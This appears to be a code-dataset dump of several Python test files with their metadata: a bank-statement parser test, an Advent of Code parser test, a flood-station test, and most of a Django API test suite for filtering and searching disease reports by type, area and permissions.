KMEE INFORMATICA LTDA 00 S2408202024082020000000000000300000D1207065TED ENVIADA 025012 0770001300013E 223130935000198 0000190000014054310 KMEE INFORMATICA LTDA 00 S2508202025082020000000000000076900C2097067TED RECEBIDA 671091 07700015 223130935000198 0000190000014054310 00000000000000000000000000000000000000000000000000000025082020000000000000999220CF000015000000000001164326000000000001430700 07799999 000001000017000001 """.strip() class ParserTest(TestCase): def testReturnStatementFile(self): statement = StatementParser.parseText(returnFile) debit = 0 credit = 0 for line in statement.lines: if line.debit_credit == 'D': debit += line.amountInCents elif line.debit_credit == 'C': credit += line.amountInCents self.assertEqual(statement.debit_sum_in_cents, debit) self.assertEqual(statement.credit_sum_in_cents, credit)

122.119048

646

0.501267

234

5,129

10.952991

0.384615

0.212251

0.222396

0.286773

0.320328

0.27897

0

0.61202

0.487424

5,129

41

647

125.097561

0.362876

0

0.003231

0

0.125

1

0.0625

false

0

0.125

0

0.25

0

1

null

1

0

1

0

1

0

null

0

7

ee74dde96e9e05652b6a3ba3f63b7172aab82fb5

263

py

Python

day8/test_day8.py

hmcc/advent-of-code-2020

827c952c30aca2e72fb37818050fba1076095161

[ "MIT" ]

null

day8/test_day8.py

hmcc/advent-of-code-2020

827c952c30aca2e72fb37818050fba1076095161

[ "MIT" ]

null

day8/test_day8.py

hmcc/advent-of-code-2020

827c952c30aca2e72fb37818050fba1076095161

[ "MIT" ]

null

from day8 import day8 def test_parse_line_nop(): assert day8.parse_line('nop +0') == ['nop', 0] def test_parse_line_acc(): assert day8.parse_line('acc +1') == ['acc', 1] def test_parse_line_jmp(): assert day8.parse_line('jmp -3') == ['jmp', -3]

18.785714

51

0.638783

43

263

3.627907

0.325581

0.346154

0.230769

0.307692

0

0.050691

0.174905

263

13

52

20.230769

0.668203

0

0.102662

0

0.428571

1

0.428571

true

0

0.142857

0

0.571429

0

null

1

0

null

0

1

0

1

0

1

0

7

ee7ba0619ad0f7e20788ca57030405a8d82cd98a

268

py

Python

test_inconsistent_typical_range_stations.py

cued-ia-computing/flood-jdv24-ahw41

b8d62b33281dfb01aec569998b88769ca6d06556

[ "MIT" ]

null

test_inconsistent_typical_range_stations.py

cued-ia-computing/flood-jdv24-ahw41

b8d62b33281dfb01aec569998b88769ca6d06556

[ "MIT" ]

null

test_inconsistent_typical_range_stations.py

cued-ia-computing/flood-jdv24-ahw41

b8d62b33281dfb01aec569998b88769ca6d06556

[ "MIT" ]

null

from floodsystem.station import inconsistent_typical_range_stations from testingData import getFakeData def test_inconsistent_typical_range_stations(): stations = getFakeData() assert inconsistent_typical_range_stations(stations) == ['Garret Hostel Bridge']

33.5

84

0.835821

29

268

7.37931

0.551724

0.266355

0.336449

0.448598

0.373832

0

0.108209

268

7

85

38.285714

0.895397

0

0.074627

0

0.2

1

0.2

false

0

0.4

0

0.6

0

1

0

null

1

0

1

0

null

0

1

0

1

0

7

ee913e64372dd2a769a46890fceb4004e49eb511

222,279

py

Python

reports/tests/test_api.py

CMU-TRP/podd-api

6eb5c4598f848f75d131287163cd9babf2a0a0fc

[ "MIT" ]

3

2020-04-26T06:28:50.000Z

2021-04-05T08:02:26.000Z

reports/tests/test_api.py

CMU-TRP/podd-api

6eb5c4598f848f75d131287163cd9babf2a0a0fc

[ "MIT" ]

10

2020-06-05T17:36:10.000Z

2022-03-11T23:16:42.000Z

reports/tests/test_api.py

CMU-TRP/podd-api

6eb5c4598f848f75d131287163cd9babf2a0a0fc

[ "MIT" ]

5

2021-04-08T08:43:49.000Z

2021-11-27T06:36:46.000Z

# -*- encoding: utf-8 -*- import datetime import json import urllib2 from django.conf import settings from django.core.files import File from django.core.files.uploadedfile import InMemoryUploadedFile from django.core.management import call_command from django.core.urlresolvers import reverse from django.test.client import encode_multipart from django.utils import timezone from mock import patch from mock import mock_open from mockredis import mock_strict_redis_client from rest_framework.test import APITestCase from common import factory from common.constants import (PRIORITY_FOLLOW, GROUP_WORKING_TYPE_REPORT_TYPE, GROUP_WORKING_TYPE_ADMINSTRATION_AREA, GROUP_WORKING_TYPE_ALERT_REPORT_ADMINSTRATION_AREA, GROUP_WORKING_TYPE_ALERT_REPORT_REPORT_TYPE, USER_STATUS_ADDITION_VOLUNTEER, SUPPORT_LIKE_ME_TOO_COMMENT, SUPPORT_COMMENT, SUPPORT_LIKE_ME_TOO, SUPPORT_LIKE, SUPPORT_ME_TOO) from flags.models import Flag from mentions.models import Mention from notifications.models import Notification from reports.models import Report, ReportImage, ReportComment, ReportType, ReportAbuse from reports.tests.test_models import common_public_setup from summary.tests.test_api import order_list_by_id def mock_upload_to_s3(file): return file.name def get_temporary_file(): m = mock_open() with patch('__main__.open', m, create=True): temporary_file = open('/tmp/hello.world.jpg', 'w') file = File(temporary_file) file.write(urllib2.urlopen('http://www.yespetshop.com/private_folder/kitten-1.jpg').read()) file.closed temporary_file.closed return temporary_file get_temporary_file() def get_large_temporary_file(): m = mock_open() with patch('__main__.open', m, create=True): temporary_file = open('/tmp/hello_large.world', 'w') file = File(temporary_file) file.write(urllib2.urlopen('http://www.nasa.gov/pdf/703154main_earth_art-ebook.pdf').read()) file.closed temporary_file.closed return temporary_file @patch('django_redis.get_redis_connection', mock_strict_redis_client) class TestApiReportList(APITestCase): def setUp(self): try: self.default_positive_type = ReportType.objects.get(id=0) except ReportType.DoesNotExist: self.default_positive_type = ReportType.objects.create( id=0, name='Positive Report Type', form_definition='{}', version=0, ) call_command('clear_index', interactive=False, verbosity=0) self.taeyeon = factory.create_user() self.jessica = factory.create_user() self.yoona = factory.create_user() self.authority = factory.create_authority() self.authority.users.add(self.yoona) self.authority_1 = factory.create_authority() self.authority.users.add(self.taeyeon) self.authority_2 = factory.create_authority() self.authority.users.add(self.jessica) self.type1 = factory.create_report_type(authority=self.authority) self.type2 = factory.create_report_type(authority=self.authority) self.type3 = factory.create_report_type(authority=self.authority_2) self.area1 = factory.create_administration_area(authority=self.authority_1) self.area2 = factory.create_administration_area(authority=self.authority_1) self.area3 = factory.create_administration_area(authority=self.authority_2) self.authority_1.inherits.add(self.authority) self.report1 = factory.create_report(created_by=self.taeyeon, type=self.type2, administration_area=self.area2, form_data={ "symptom": u"cough,ปวดหัว,stiff", "sickCount": 5, }, date=datetime.datetime(2014, 11, 7, 12, 30, 45)) self.report2 = factory.create_report(created_by=self.taeyeon, type=self.type1, administration_area=self.area1, date=datetime.datetime(2014, 11, 11, 12, 30, 45)) self.report3 = factory.create_report(created_by=self.jessica, type=self.type1, administration_area=self.area2, date=datetime.datetime(2014, 11, 9, 13, 30, 45)) self.report4 = factory.create_report(type=self.type3, administration_area=self.area2) self.report5 = factory.create_report(type=self.type1, administration_area=self.area3) self.flag = factory.create_flag(report=self.report1, priority=1, flag_owner=self.taeyeon) def test_api_report(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('report-list')) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 3) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) self.assertEqual(report1['reportId'], self.report2.report_id) self.assertEqual(report1['guid'], self.report2.guid) self.assertEqual(report1['reportTypeId'], self.report2.type.id) self.assertEqual(report1['administrationAreaId'], self.report2.administration_area.id) self.assertEqual(report1['negative'], self.report2.negative) self.assertEqual(report1['createdByName'], self.report2.created_by.get_full_name()) self.assertEqual(report1['date'], self.report2.date.strftime('%Y-%m-%dT%H:%M:%SZ')) self.assertEqual(report1['incidentDate'], self.report2.incident_date.strftime('%Y-%m-%d')) report2 = response_json['results'][1] self.assertEqual(report2['id'], self.report3.id) self.assertEqual(report2['reportId'], self.report3.report_id) self.assertEqual(report2['guid'], self.report3.guid) self.assertEqual(report2['reportTypeId'], self.report3.type.id) self.assertEqual(report2['administrationAreaId'], self.report3.administration_area.id) self.assertEqual(report2['negative'], self.report3.negative) self.assertEqual(report2['createdByName'], self.report3.created_by.get_full_name()) self.assertEqual(report2['date'], self.report3.date.strftime('%Y-%m-%dT%H:%M:%SZ')) self.assertEqual(report2['incidentDate'], self.report3.incident_date.strftime('%Y-%m-%d')) report3 = response_json['results'][2] self.assertEqual(report3['id'], self.report1.id) self.assertEqual(report3['reportId'], self.report1.report_id) self.assertEqual(report3['guid'], self.report1.guid) self.assertEqual(report3['reportTypeId'], self.report1.type.id) self.assertEqual(report3['administrationAreaId'], self.report1.administration_area.id) self.assertEqual(report3['negative'], self.report1.negative) self.assertEqual(report3['createdByName'], self.report1.created_by.get_full_name()) self.assertEqual(report3['date'], self.report1.date.strftime('%Y-%m-%dT%H:%M:%SZ')) self.assertEqual(report3['incidentDate'], self.report1.incident_date.strftime('%Y-%m-%d')) def test_api_report_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('report-list')) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 3) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) self.assertEqual(report1['reportId'], self.report2.report_id) self.assertEqual(report1['guid'], self.report2.guid) self.assertEqual(report1['reportTypeId'], self.report2.type.id) self.assertEqual(report1['administrationAreaId'], self.report2.administration_area.id) self.assertEqual(report1['negative'], self.report2.negative) self.assertEqual(report1['createdByName'], self.report2.created_by.get_full_name()) self.assertEqual(report1['date'], self.report2.date.strftime('%Y-%m-%dT%H:%M:%SZ')) self.assertEqual(report1['incidentDate'], self.report2.incident_date.strftime('%Y-%m-%d')) # self.assertEqual(report1['flag'], '') report2 = response_json['results'][1] self.assertEqual(report2['id'], self.report3.id) self.assertEqual(report2['reportId'], self.report3.report_id) self.assertEqual(report2['guid'], self.report3.guid) self.assertEqual(report2['reportTypeId'], self.report3.type.id) self.assertEqual(report2['administrationAreaId'], self.report3.administration_area.id) self.assertEqual(report2['negative'], self.report3.negative) self.assertEqual(report2['createdByName'], self.report3.created_by.get_full_name()) self.assertEqual(report2['date'], self.report3.date.strftime('%Y-%m-%dT%H:%M:%SZ')) self.assertEqual(report2['incidentDate'], self.report3.incident_date.strftime('%Y-%m-%d')) # self.assertEqual(report2['flag'], '') report3 = response_json['results'][2] self.assertEqual(report3['id'], self.report1.id) self.assertEqual(report3['reportId'], self.report1.report_id) self.assertEqual(report3['guid'], self.report1.guid) self.assertEqual(report3['reportTypeId'], self.report1.type.id) self.assertEqual(report3['administrationAreaId'], self.report1.administration_area.id) self.assertEqual(report3['negative'], self.report1.negative) self.assertEqual(report3['createdByName'], self.report1.created_by.get_full_name()) self.assertEqual(report3['date'], self.report1.date.strftime('%Y-%m-%dT%H:%M:%SZ')) self.assertEqual(report3['incidentDate'], self.report1.incident_date.strftime('%Y-%m-%d')) # self.assertEqual(report3['flag'], '1') def test_api_report_with_pagination(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) params = { 'page_size': 2 } response = self.client.get(reverse('report-list'), params) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 3) self.assertEqual(len(response_json['results']), 2) params = { 'page_size': 2, 'page': 2 } response = self.client.get(reverse('report-list'), params) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 3) self.assertEqual(len(response_json['results']), 1) def test_api_report_with_pagination_wih_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) params = { 'page_size': 2 } response = self.client.get(reverse('report-list'), params) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 3) self.assertEqual(len(response_json['results']), 2) params = { 'page_size': 2, 'page': 2 } response = self.client.get(reverse('report-list'), params) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 3) self.assertEqual(len(response_json['results']), 1) def test_api_return_report_only_administration_area_in_group_role_reporter(self): group_a = factory.add_user_to_new_group(user=self.taeyeon, type=GROUP_WORKING_TYPE_ALERT_REPORT_ADMINSTRATION_AREA) area = factory.create_administration_area() factory.create_group_administration_area(group=group_a, administration_area=area) report = factory.create_report(created_by=self.taeyeon, type=self.type1, administration_area=area) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('report-list')) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 3) def test_api_return_report_only_report_type_in_group_role_reporter(self): group_r = factory.add_user_to_new_group(user=self.taeyeon, type=GROUP_WORKING_TYPE_ALERT_REPORT_REPORT_TYPE) newtype = factory.create_report_type() factory.create_group_report_type(group=group_r, report_type=newtype) report = factory.create_report(created_by=self.taeyeon, type=newtype, administration_area=self.area2) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('report-list')) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 3) def test_api_report_with_form_data(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) params = { 'withFormData': True } response = self.client.get(reverse('report-list'), params) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 3) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) self.assertEqual(report1['formData'], json.loads(self.report2.form_data)) report2 = response_json['results'][1] self.assertEqual(report2['id'], self.report3.id) self.assertEqual(report2['formData'], json.loads(self.report3.form_data)) report3 = response_json['results'][2] self.assertEqual(report3['id'], self.report1.id) self.assertEqual(report3['formData'], json.loads(self.report1.form_data)) def test_api_report_with_form_data_and_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) params = { 'withFormData': True } response = self.client.get(reverse('report-list'), params) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 3) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) self.assertEqual(report1['formData'], json.loads(self.report2.form_data)) report2 = response_json['results'][1] self.assertEqual(report2['id'], self.report3.id) self.assertEqual(report2['formData'], json.loads(self.report3.form_data)) report3 = response_json['results'][2] self.assertEqual(report3['id'], self.report1.id) self.assertEqual(report3['formData'], json.loads(self.report1.form_data)) ''' def test_api_report_list_will_return_report_that_area_is_child_of_permitted_administration_area(self): area = self.area1.add_child(name='Namsan', location=self.area1.location) report = factory.create_report(type=self.type1, administration_area=area, date=datetime.datetime(2014, 10, 9, 13, 30, 45)) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('report-list')) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 4) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) report2 = response_json['results'][1] self.assertEqual(report2['id'], self.report3.id) report3 = response_json['results'][2] self.assertEqual(report3['id'], self.report1.id) report4 = response_json['results'][3] self.assertEqual(report4['id'], report.id) def test_api_report_list_will_return_report_that_area_is_child_of_permitted_administration_area_with_authority(self): area = self.area1.add_child(name='Namsan', location=self.area1.location) report = factory.create_report(type=self.type1, administration_area=area, date=datetime.datetime(2014, 10, 9, 13, 30, 45)) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('report-list')) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 4) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) report2 = response_json['results'][1] self.assertEqual(report2['id'], self.report3.id) report3 = response_json['results'][2] self.assertEqual(report3['id'], self.report1.id) report4 = response_json['results'][3] self.assertEqual(report4['id'], report.id) ''' def test_api_report_filter_by_user(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('report-list'), { 'createdBy': self.taeyeon.id }) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 2) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) report2 = response_json['results'][1] self.assertEqual(report2['id'], self.report1.id) def test_api_report_filter_by_user_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('report-list'), { 'createdBy': self.taeyeon.id }) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 2) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) report2 = response_json['results'][1] self.assertEqual(report2['id'], self.report1.id) def test_api_report_filter_by_report_type(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('report-list'), { 'type': self.type2.id }) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report1.id) def test_api_report_filter_by_report_type_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('report-list'), { 'type': self.type2.id }) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report1.id) def test_api_report_filter_by_administration_area(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('report-list'), { 'administrationArea': self.area1.id }) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) def test_api_report_filter_by_administration_area_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('report-list'), { 'administrationArea': self.area1.id }) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) def test_api_report_filter_by_form_data(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('report-list'), { 'symptom': u'ปวดหัว' }) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report1.id) response = self.client.get(reverse('report-list'), { 'symptom': 'fever' }) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 2) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) report2 = response_json['results'][1] self.assertEqual(report2['id'], self.report3.id) def test_api_report_filter_by_form_data_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('report-list'), { 'symptom': u'ปวดหัว' }) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report1.id) response = self.client.get(reverse('report-list'), { 'symptom': 'fever' }) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 2) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) report2 = response_json['results'][1] self.assertEqual(report2['id'], self.report3.id) def test_api_report_filter_multiple_value_in_one_field(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('report-list'), { 'symptom__in': [u'ปวดหัว', 'fever'], }) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 3) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) report2 = response_json['results'][1] self.assertEqual(report2['id'], self.report3.id) report3 = response_json['results'][2] self.assertEqual(report3['id'], self.report1.id) def test_api_report_filter_multiple_value_in_one_field_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('report-list'), { 'symptom__in': [u'ปวดหัว', 'fever'], }) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 3) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) report2 = response_json['results'][1] self.assertEqual(report2['id'], self.report3.id) report3 = response_json['results'][2] self.assertEqual(report3['id'], self.report1.id) def test_api_report_filter_multiple_value_in_one_field_part_2(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('report-list') + u'?symptom__in=stiff&symptom__in=fever') self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 3) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) report2 = response_json['results'][1] self.assertEqual(report2['id'], self.report3.id) report3 = response_json['results'][2] self.assertEqual(report3['id'], self.report1.id) def test_api_report_filter_multiple_value_in_one_field_part_2_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('report-list') + u'?symptom__in=stiff&symptom__in=fever') self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 3) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) report2 = response_json['results'][1] self.assertEqual(report2['id'], self.report3.id) report3 = response_json['results'][2] self.assertEqual(report3['id'], self.report1.id) def test_api_report_filter_greater_than_value(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('report-list'), { 'sickCount__gt': 4, }) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report1.id) def test_api_report_filter_greater_than_value_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('report-list'), { 'sickCount__gt': 4, }) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report1.id) def test_api_report_filter_multiple_data(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('report-list'), { 'symptom': 'fever', 'createdBy': self.taeyeon.id, 'type': self.type1.id, 'administrationArea': self.area1.id, }) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) def test_api_report_filter_multiple_data_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('report-list'), { 'symptom': 'fever', 'createdBy': self.taeyeon.id, 'type': self.type1.id, 'administrationArea': self.area1.id, }) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) def test_api_report_filter_results_only_have_permission_on_report_type(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('report-list'), { 'type': self.type3.id, }) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 0) def test_api_report_filter_results_only_have_permission_on_report_type_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('report-list'), { 'type': self.type3.id, }) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 0) def test_api_report_filter_results_only_have_permission_on_administration_area(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('report-list'), { 'administrationArea': self.area3.id, }) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 0) def test_api_report_filter_results_only_have_permission_on_administration_area_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('report-list'), { 'administrationArea': self.area3.id, }) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 0) ''' def test_api_report_list_will_always_return_report_type_0(self): factory.create_report(type=self.default_positive_type, administration_area=self.area1, negative=False) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('report-list')) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 4) def test_api_report_list_will_always_return_report_type_0_with_authority(self): factory.create_report(type=self.default_positive_type, administration_area=self.area1, negative=False) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('report-list')) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 4) ''' def test_anonymous_cannot_access_api_list_reports(self): response = self.client.get(reverse('report-list')) self.assertEqual(response.status_code, 401) @patch('django_redis.get_redis_connection', mock_strict_redis_client) class TestApiReportSearch(APITestCase): def setUp(self): try: ReportType.objects.get(id=0) except ReportType.DoesNotExist: ReportType.objects.create( id=0, name='Positive Report Type', form_definition='{}', version=0, ) call_command('clear_index', interactive=False, verbosity=0) self.taeyeon = factory.create_user() self.taeyeon.last_name = 'Kim' self.taeyeon.save() self.jessica = factory.create_user() self.jessica.last_name = 'Jung' self.jessica.save() self.yoona = factory.create_user() self.yoona.last_name = 'Im' self.yoona.save() self.authority = factory.create_authority() self.authority.users.add(self.taeyeon) self.authority.users.add(self.yoona) self.authority_1 = factory.create_authority() self.authority_1.users.add(self.jessica) self.type1 = factory.create_report_type(authority=self.authority) self.type2 = factory.create_report_type(authority=self.authority) self.type3 = factory.create_report_type(authority=self.authority_1) self.area1 = factory.create_administration_area(authority=self.authority) self.area2 = factory.create_administration_area(authority=self.authority) self.area3 = factory.create_administration_area(authority=self.authority_1) self.report1 = factory.create_report(created_by=self.taeyeon, type=self.type2, administration_area=self.area2, form_data={ "symptom": u"cough,ปวดหัว,stiff", "sickCount": 5, }, date=datetime.datetime(2014, 11, 7, 12, 30, 45)) self.report2 = factory.create_report(created_by=self.taeyeon, type=self.type1, administration_area=self.area1, date=datetime.datetime(2014, 11, 11, 12, 30, 45)) self.report3 = factory.create_report(created_by=self.jessica, type=self.type1, administration_area=self.area2, date=datetime.datetime(2014, 11, 9, 13, 30, 45)) self.report4 = factory.create_report(type=self.type3, administration_area=self.area2) self.report5 = factory.create_report(type=self.type1, administration_area=self.area3) def test_api_report_search(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('reports_search')) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 3) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) self.assertEqual(report1['reportId'], self.report2.report_id) self.assertEqual(report1['guid'], self.report2.guid) self.assertEqual(report1['reportTypeId'], self.report2.type.id) self.assertEqual(report1['administrationAreaId'], self.report2.administration_area.id) self.assertEqual(report1['negative'], self.report2.negative) self.assertEqual(report1['createdByName'], self.report2.created_by.get_full_name()) self.assertEqual(report1['date'], self.report2.date.strftime('%Y-%m-%dT%H:%M:%SZ')) self.assertEqual(report1['incidentDate'], self.report2.incident_date.strftime('%Y-%m-%d')) report2 = response_json['results'][1] self.assertEqual(report2['id'], self.report3.id) self.assertEqual(report2['reportId'], self.report3.report_id) self.assertEqual(report2['guid'], self.report3.guid) self.assertEqual(report2['reportTypeId'], self.report3.type.id) self.assertEqual(report2['administrationAreaId'], self.report3.administration_area.id) self.assertEqual(report2['negative'], self.report3.negative) self.assertEqual(report2['createdByName'], self.report3.created_by.get_full_name()) self.assertEqual(report2['date'], self.report3.date.strftime('%Y-%m-%dT%H:%M:%SZ')) self.assertEqual(report2['incidentDate'], self.report3.incident_date.strftime('%Y-%m-%d')) report3 = response_json['results'][2] self.assertEqual(report3['id'], self.report1.id) self.assertEqual(report3['reportId'], self.report1.report_id) self.assertEqual(report3['guid'], self.report1.guid) self.assertEqual(report3['reportTypeId'], self.report1.type.id) self.assertEqual(report3['administrationAreaId'], self.report1.administration_area.id) self.assertEqual(report3['negative'], self.report1.negative) self.assertEqual(report3['createdByName'], self.report1.created_by.get_full_name()) self.assertEqual(report3['date'], self.report1.date.strftime('%Y-%m-%dT%H:%M:%SZ')) self.assertEqual(report3['incidentDate'], self.report1.incident_date.strftime('%Y-%m-%d')) def test_api_report_search_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('reports_search')) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 3) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) self.assertEqual(report1['reportId'], self.report2.report_id) self.assertEqual(report1['guid'], self.report2.guid) self.assertEqual(report1['reportTypeId'], self.report2.type.id) self.assertEqual(report1['administrationAreaId'], self.report2.administration_area.id) self.assertEqual(report1['negative'], self.report2.negative) self.assertEqual(report1['createdByName'], self.report2.created_by.get_full_name()) self.assertEqual(report1['date'], self.report2.date.strftime('%Y-%m-%dT%H:%M:%SZ')) self.assertEqual(report1['incidentDate'], self.report2.incident_date.strftime('%Y-%m-%d')) report2 = response_json['results'][1] self.assertEqual(report2['id'], self.report3.id) self.assertEqual(report2['reportId'], self.report3.report_id) self.assertEqual(report2['guid'], self.report3.guid) self.assertEqual(report2['reportTypeId'], self.report3.type.id) self.assertEqual(report2['administrationAreaId'], self.report3.administration_area.id) self.assertEqual(report2['negative'], self.report3.negative) self.assertEqual(report2['createdByName'], self.report3.created_by.get_full_name()) self.assertEqual(report2['date'], 